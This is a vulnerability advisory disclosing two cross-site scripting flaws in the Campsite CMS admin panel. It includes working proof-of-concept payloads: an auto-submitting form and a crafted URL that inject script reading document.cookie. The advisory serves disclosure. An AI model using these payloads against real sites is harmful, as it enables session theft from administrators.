Cross-site Scripting (XSS) Vulnerabilities in Campsite

High-Tech Bridge SA Security Research Lab has discovered two vulnerabilities in Campsite which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerabilities in Campsite
1.1 The vulnerability exists due to input sanitation error in the "f_comment_search" parameter in admin/comments/index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim has access to administrative interface.
Exploitation example:
<form action="http://host/admin/comments/index.php" method="post" name="main" >
<input type="hidden" name="f_comment_per_page" value="20" >
<input type="hidden" name="f_comment_search" value='1"><script>alert(document.cookie)</script>'>
<input type="hidden" name="f_comment_order_by" value="datestamp">
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to input sanitation error in the "f_site_title" parameter in admin/system_pref/do_edit.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim has access to administrative interface.
Exploitation example:
http://host/admin/system_pref/do_edit.php?f_campsite_online=Y&f_site_title=K ora"><script>alert(document.cookie)</script>&f_site_metakeywords=11&f_site_m etadescription=22&f_cache_enabled=N&f_cache_engine=APC&f_imagecache_lifetime =86400&f_secret_key=1&f_session_lifetime=1400&f_keyword_separator=%2C&f_logi n_num=3&f_max_upload_filesize=16M&f_smtp_host=localhost&f_smtp_port=25&f_edi tor_image_ratio=100&f_external_subs_management=N&f_use_replication=N&f_db_re pl_host=&f_db_repl_user=&f_db_repl_pass=&f_db_repl_port=3306&f_use_campcaste r=N&f_cc_hostname=localhost&f_cc_hostport=80&f_cc_xrpcpath=%2Fcampcaster%2Fs torageServer%2Fvar%2Fxmlrpc%2F&f_cc_xrpcfile=xrLocStor.php&f_template_filter =.*%2C+CVS&save=%D0%A1%D0%BE%D1%85%D1%80%D0%B0%D0%BD%D0%B8%D1%82%D1%8C HTTP/1.1